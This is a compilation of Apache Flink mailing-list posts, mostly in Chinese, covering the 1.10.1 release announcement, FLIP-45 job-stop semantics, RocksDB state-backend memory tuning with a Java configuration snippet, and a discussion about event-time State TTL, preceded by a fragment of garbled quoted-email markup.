> gt;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;
> > >  nbsp; "user-zh"
> > > 
> > >
> >
> gt;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;
> > >  nbsp; <
> > >  gt; 384939...@qq.comamp;gt;;
> > >  gt; 发送时间:amp;nbsp;2020年8月3日(星期一) 中午1:50
> > >  gt; 收件人:amp;nbsp;"user-zh" > > amp;gt;;
> > >  gt;
> > >  gt; 主题:amp;nbsp;Re: flink1.10.1/1.11.1 使用sql 进行group 和
> > 时间窗口
> > > 操作后 状态越来越大
> > >  gt;
> > >  gt;
> > >  gt;
> > >  gt; hi，您好：
> > >  gt; 我改回增量模式重新收集了一些数据：
> > >  gt; 1、数据处理速度：3000条每秒，是测试环境的，压力比较稳定，几乎没有波动
> > >  gt; 2、checkpoint是interval设置的是5秒
> 

[ANNOUNCE] Apache Flink 1.10.1 released

[Yu Li]

The Apache Flink community is very happy to announce the release of Apache
Flink 1.10.1, which is the first bugfix release for the Apache Flink 1.10
series.

Apache Flink® is an open-source stream processing framework for
distributed, high-performing, always-available, and accurate data streaming
applications.

The release is available for download at:
https://flink.apache.org/downloads.html

Please check out the release blog post for an overview of the improvements
for this bugfix release:
https://flink.apache.org/news/2020/05/12/release-1.10.1.html

The full release notes are available in Jira:
https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12315522=12346891

We would like to thank all contributors of the Apache Flink community who
made this release possible!

Regards,
Yu

Re: 请问Flink-1.10.1 release可以在哪里下载？（无正文）

[Yu Li]

1.10.1还剩余最后一个blocker [1]，解决之后将创建Release Candidate并启动投票，预计还需要1-2周时间，感谢关注。

Best Regards,
Yu

[1] https://issues.apache.org/jira/browse/FLINK-16662


On Thu, 16 Apr 2020 at 17:24, godfrey he  wrote:

> 目前社区已经在讨论 release-1.10.1 RC [1] 的发布
>
> [1]
>
> http://mail-archives.apache.org/mod_mbox/flink-dev/202004.mbox/%3CCAM7-19K0YsejvZpfVJrvEX6_DOJ7sUViEn9nB-5zfhX8P28_9A%40mail.gmail.com%3E
>
> Best,
> Godfrey
>
> Benchao Li  于2020年4月16日周四 下午3:06写道：
>
> > Hi，
> > Flikn 1.10.1还没有正式发布，暂时还没有地方可以直接下载。可以从源码直接编译一下~
> >
> > samuel@ubtrobot.com  于2020年4月16日周四
> 下午3:04写道：
> >
> > >
> > >
> >
> > --
> >
> > Benchao Li
> > School of Electronics Engineering and Computer Science, Peking University
> > Tel:+86-15650713730
> > Email: libenc...@gmail.com; libenc...@pku.edu.cn
> >
>

Re: The question about the FLIP-45

[Yu Li]

Hi LakeShen,

Sorry for the late response.

For the first question, literally, the stop command should be used if one
means to stop the job instead of canceling it.

For the second one, since FLIP-45 is still under discussion [1] [2]
(although a little bit stalled due to priority), we still don't support
stop with (retained) checkpoint yet. Accordingly, there's no implementation
in our code base.

Best Regards,
Yu

[1]
http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-FLIP-45-Reinforce-Job-Stop-Semantic-td30161.html
[2]
https://cwiki.apache.org/confluence/display/FLINK/FLIP-45%3A+Reinforce+Job+Stop+Semantic


On Thu, 19 Mar 2020 at 20:50, LakeShen  wrote:

> Hi community,
>
> Now I am reading the FLIP-45 Reinforce Job Stop Semantic, I have three
> questions about it :
> 1. What the command to use to stop the Flink task, stop or cancel?
>
> 2. If use stop command to stop filnk task , but I see the flink source
> code , the stop command we can set the savepoint dir , if we didn't set it
> , the default savepoint dir will use . Both the target Savepoint  Dir or
> default savepoint dir are null , the flink will throw the exception. But in
> FLIP-45 , If retained checkpoint is enabled, we should always do a
> checkpoint when stopping job. I can't find this code.
>
> Thanks to your reply.
>
> Best regards,
> LakeShen
>

Re: 关于在读和写频率都很高的情况下怎么优化rocksDB

[Yu Li]

Hi,

您给出的链接里的文档是面向最新发布版本，也就是1.10.0的，在之前的版本里RocksDB使用的不是Managed
Memory，所以文档里的一些调优指导也不会有效。

建议先了解一下1.10.0里RocksDB内存管理的相关内容
[1]，我们提供了一些配置以方便调节读写缓存的比例，了解之后可以试用1.10.0版本并尝试根据文档进行性能调优。

另外，如果升级并进行简单的调试依然无效，并且确认是由于state瓶颈导致作业反压，那么归根结底需要对RocksDB进行调优。建议参考RocksDB官方的相关文档
[2] 进行尝试。

希望这些信息可以帮到您。

Best Regards,
Yu

[1]
https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/state/state_backends.html#memory-management
[2] https://github.com/facebook/rocksdb/wiki/RocksDB-Tuning-Guide


On Wed, 26 Feb 2020 at 23:27, claylin <1012539...@qq.com> wrote:

> Hi 大家好：这边遇到一个有关rocksDB优化的问题，我这里系统平均tps为10w，几乎每条数据都会出发读写rocksDB，下面是我用sar
> -dp 命令统计的io情况：
> Average: DEV  
> tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz
>  await  svctm  %util
> Average: sda  285.36
> 2152.91 88322.99  317.06 
> 21.48  75.27   0.58 
> 16.60
> ，运行时间长了就会严重造成反压，我按照这里
> https://ci.apache.org/projects/flink/flink-docs-stable/ops/state/large_state_tuning.html#tuning-rocksdb做了些调优，譬如增大Manager
> Memory，增大rocksDB的flush和compact线程数等，但还是一样，时间一长，状态变大就会造成反压，我也做了state的过期处理。
>
>
> 这个问题困扰好久了，大家有什么好的优化方案吗。

Re: flink rocksdb状态后端物理内存溢出的问题

[Yu Li]

建议升级到1.10.0版本，该版本默认对RocksDB backend的内存使用会有限制，更多资料请参考官方文档 [1]。

Best Regards,
Yu

[1]
https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/state/state_backends.html#memory-management


On Thu, 20 Feb 2020 at 17:42, chanamper  wrote:

> 请教一下，我采用flink
> 1.8版本，状态后端采用rocksdb方式，任务运行一段时间后containter会出现物理内存溢出，单个containter的内存为10G、堆内存使用很少仅1G左右。这种情况下我应该如何分析内存占用情况？

Re: 咨询一下 RocksDB 状态后端的调优经验

[Yu Li]

Hi，

如唐云所述，FLINK-7289 [1]
所有的开发工作已经完成，目前剩余的工作是补充end-to-end测试以及完善文档，因此release-1.10分支的代码功能已经完全可用了

我们建议使用FLINK-7289实现的方式来控制rocksdb内存，这将极大的简化用户所需的配置，只需要设置"state.backend.rocksdb.memory.managed"为true并调整managed
memory大小，或者通过"state.backend.rocksdb.memory.fixed-per-slot" 配置对应单个slot
RocksDB可使用的最大内存即可

如果生产上确实比较紧急，无法等待1.10.0版本的发布，也可以参考之前英文邮件列表里相关讨论 [2] 给出的公式和设置来尝试对rocksdb内存进行限制

希望这些信息有所帮助

Best Regards,
Yu

[1] https://issues.apache.org/jira/browse/FLINK-7289
[2]
http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/Memory-constrains-running-Flink-on-Kubernetes-tt28954.html


On Tue, 14 Jan 2020 at 11:15, Yun Tang  wrote:

> Hi Dong
>
> RocksDB无论如何都是要使用native内存的，您的YARN pmem-check相比JVM heap的buffer空间是多少，是否合适呢？
>
> FLINK-7289的基本所需task都已经完成在release-1.10 分支中了，您可以直接使用release-1.10
> 分支打包，最近也要发布1.10的rc版本，欢迎试用该功能。
>
> 如果你的所有checkpoint size是50GB，其实不是很大，但是如果单个state
> backend有50GB的话，对于Flink这种低延迟流式场景是稍大的，建议降低单并发state数据量。
>
> 至于目前的问题，也就是您加了相关参数，但是内存用量仍然在涨，可以用以下思路排查一下：
>
>   1.  首先，确保使用release-1.10 分支
>   2.  开启 size-all-mem-tables  [1] 和 block-cache-usage [2]的metrics监控
>   3.  在默认没有enable "state.backend.rocksdb.memory.managed" [3] 的情况下，对column
> family进行如下配置，核心思路就是将主要的内存使用都放在cache中，方便观察内存使用：
>
> rocksDBStateBackend.setOptions(new OptionsFactory() {
>  @Override
>   public DBOptions createDBOptions(DBOptions currentOptions) {
>   return currentOptions;
>   }
>
>   @Override
>public ColumnFamilyOptions createColumnOptions(ColumnFamilyOptions
> currentOptions) {
>  BlockBasedTableConfig blockBasedTableConfig = new
> BlockBasedTableConfig();
>  blockBasedTableConfig.setCacheIndexAndFilterBlocks(true);
>  blockBasedTableConfig.pinL0FilterAndIndexBlocksInCache();
>  currentOptions.setTableFormatConfig(blockBasedTableConfig);
>  return currentOptions;
>   }
> });
>
> 4. 由于没有enable cache共享，所以需要将每个column
> family的size-all-mem-tables和block-cache-usage进行相加，观察相关指数变化，看是否超过了你的pmem-check
> 限制。
>
> 相应地，您也可以启用"state.backend.rocksdb.memory.managed" [3] 该功能 或者 自行配置
> "state.backend.rocksdb.memory.fixed-per-slot" [4] 设置期望的rocksDB per slot
> memory size，此时只需要观察block-cache-usage的指标，由于这里使用共享cache的逻辑，所以并不需要相加，只要观察per
> slot的情况即可（同一个TM内，相同subtask index的rocksDB state其实是用的同一块cache），观察内存限制功能是否生效。
>
> [1]
> https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/config.html#state-backend-rocksdb-metrics-size-all-mem-tables
> [2]
> https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/config.html#state-backend-rocksdb-metrics-block-cache-usage
> [3]
> https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/config.html#state-backend-rocksdb-memory-managed
> [4]
> https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/config.html#state-backend-rocksdb-memory-fixed-per-slot
>
>
> 祝好
> 唐云
>
> 
> From: DONG, Weike 
> Sent: Tuesday, January 14, 2020 10:02
> To: user-zh@flink.apache.org 
> Subject: 咨询一下 RocksDB 状态后端的调优经验
>
> 大家好，
>
> 我们在 YARN 容器内运行以 RocksDB 作为 State Backend 的 Flink 作业，状态数据比较大（50G
> 以上，难以放到内存中）。但是由于 YARN 本身的 pmem-check 限制，经常会因为内存用量的不受控而导致整个 Container 被强制
> KILL.
>
> 目前调研了 https://issues.apache.org/jira/browse/FLINK-7289 这个提议，但是目前还未完全实现。
> 也按照 RocksDB 官方的调优指南
> https://github.com/facebook/rocksdb/wiki/RocksDB-Tuning-Guide 设置了
> state.backend.rocksdb.writebuffer.size
> state.backend.rocksdb.writebuffer.count
> state.backend.rocksdb.block.cache-size
> state.backend.rocksdb.files.open
> 等等参数，但是目前观察到效果并不太明显，内存用量还是会不受控地越来越多。
>
> 请问各位是否有 RocksDB 作为状态后端的调优经验，例如在内存受限的情况下，尽量确保 RocksDB 的内存用量可控在一个封顶范围呢？
>
> 另外还有一个场景，假设内存够用的情况下，有哪些增加读写性能方面的建议呢？目前尝试使用 SSD 来存放 sst 文件，但是性能提升也不明显。
>
> 感谢 ：）
>

[DISCUSS] State TTL支持EventTime

[Yu Li]

大家好，

也许大家已经注意到通过FLINK-12005[1]我们提出了在State中支持基于EventTime[2]的TTL[3]语义，有关这个特性我们希望向大家发起一个讨论/调查，包括下述问题：

1. 在您的应用场景下是否需要基于EventTime的state TTL？如果需要，请简单描述场景和需求原因，这是决定我们是否开发该特性的关键。

2.
在TTL定义中有两个关键的时间，一个是数据的时间戳，另外一个是检查数据是否过期的当前时间(currentTime)。由于流式计算的特点，数据有可能“乱序”到达，而Flink为了处理这种情况引入了watermark的概念。因此对于
数据时间戳和当前时间，有下述可能的语义/定义

- 2.1 数据时间戳
  1.
当前被处理数据记录(StreamRecord)的EventTime时间戳：这个选项需要关注的是乱序问题，即当新到来的record时间戳小于state当前时间戳时如何处理，有两种选择：
  a. 不检查/比较新记录的EventTime和state当前时间戳，直接写入并更新state
  b. 比较新到达record的EventTime和state当前时间戳，如果是旧数据(record.EventTime <
state.timestamp)则直接丢弃，如果是新数据(record.EventTime >=
state.timestamp或者state对应key没有data)则更新
  2.
最近的watermark：在timer和window中我们使用watermark处理乱序问题，或者说这也是用户自定义的一种“时间戳”，不过watermark和EventTime不需要有关联性

- 2.2 当前时间
  1. “墙上时间”：当前算子后端(operator backend)的系统时间
  2. 最近的watermark：watermark一定程度上可以理解为用户定义的“当前时间”，这也许和“墙上时间”完全不同

在假设第一个问题大家的回答是yes的前提下，请根据自己的业务场景选择大家认为合理的时间定义(例如2.1.1.a+2.2.1)，并简单描述场景和原因。

希望大家能够积极发表自己的看法，也希望该特性开发完成后对大家的线上业务有所帮助。相关问题英文邮件列表也正在讨论中[4]，欢迎大家关注。谢谢！


[1] https://issues.apache.org/jira/browse/FLINK-12005
[2]
https://ci.apache.org/projects/flink/flink-docs-stable/dev/event_time.html
[3]
https://docs.google.com/document/d/1SI_WoXAfOd4_NKpGyk4yh3mf59g12pSGNXRtNFi-tgM
[4] https://s.apache.org/e9bI

Best Regards,
Yu